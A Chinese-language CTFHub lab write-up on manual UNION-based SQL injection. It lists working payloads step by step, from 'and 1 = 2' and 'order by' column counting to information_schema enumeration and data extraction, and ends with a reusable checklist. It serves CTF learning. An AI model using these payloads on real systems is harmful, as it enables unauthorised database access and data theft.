CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。
MySQL结构:
(无)
根据网页显示内容输入1进行测试,此题可能存在 SQL 注入。此题与前一题类似,这次使用手工注入。先判断是否存在注入,发现存在注入后检查注入点。判断字段数量,然后检查数据库位置,知道数据库位置后查看数据库版本和数据库名。接着查看全部数据库名,并查看这些数据库的表名,最后在 lvlbiqemvj 表中的数据发现此题 flag 。
Ⅰ根据题目描述输入1测试,发现数据ctfhub

Ⅱ使用'and 1 = 1'进行测试,判断是否存在sql注入

and 1 = 1
Ⅲ使用’and 1 = 2'进行测试,回显错误,说明存在sql注入

and 1 = 2
Ⅳ使用order by 判断字段数量,从order by 1开始

order by 1
Ⅴ判断字段2,使用order by 2

order by 2
Ⅵ判断字段3,使用order by 3,这里无回显,那么字段数量为2列

order by 3
Ⅶ知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

union select 1,2
Ⅷ判断数据可能不存在数据库中,在id=1中加入负号可以查看到不存在数据库中的数据

id=-1 union select 1,2
Ⅸ修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

union select 1,version()
Ⅹ修改2为database(),查看数据库名,发现数据库版本为sqli
union select 1,database()
ⅩⅠ查看全部数据库名

union select 1,group_concat(schema_name)from information_schema.schemata
ⅩⅡ发现sqli库名不是数据库自带的,最后在sqli数据库中发现lvlbiqemvj和news两个表名

union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
ⅩⅢ先查看lvlbiqemvj表中的全部字段名,发现一个数据名为onwodzqnwq

union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='lvlbiqemvj'
ⅩⅣ查看数据onwodzqnwq中的内容,发现此题flag

union select 1,group_concat(onwodzqnwq) from sqli.lvlbiqemvj
因为关于 SQL 注入判断方法过多,那么只对此题目的注入流程做一个总结。
1.判断是否存在注入
- and 1 = 1
- and 1 = 2
- or 1 = 1
- or 1 = 2
- ?id=1' and 1' = 1'
- ?id=1' and 1' = 2'
2.判断字段数量,直到无回显异常为止
- order by 1 #正常
- order by 2 #正常
- order by 3 #异常
3.查询注入点
- ?id=1 union select 1,2 #8为异常无回显
- ?id=-1 union select 1,2 #如果数据不存在数据库中,可以使用负号查找
- ?id=0 union select 1,2 #如果数据不存在数据库中,也可以使用零查找
4.查询数据库版本
- union select 1,version() '''替换2为 version()
- 查询sql数据库版本'''
5.查询数据库名
- union select 1,database() '''替换为 database()
- 查询数据库名'''
6.爆库
- #数据库自带的表information_schema,其中包含所有的数据库信息
- #schema_name 数据库名称
- union select 1,group_concat(schema_name)from information_schema.schemata
7.查询表名
- #table_name 表格名称
- union select 1,group_concat(table_name) from information_schema.tables where table_schema='表名'
8.爆字段
- #column_name 字段名称
- union select 1,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名'
10.爆数据
union select 1,group_concat(数据名) from 库名.表名
文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。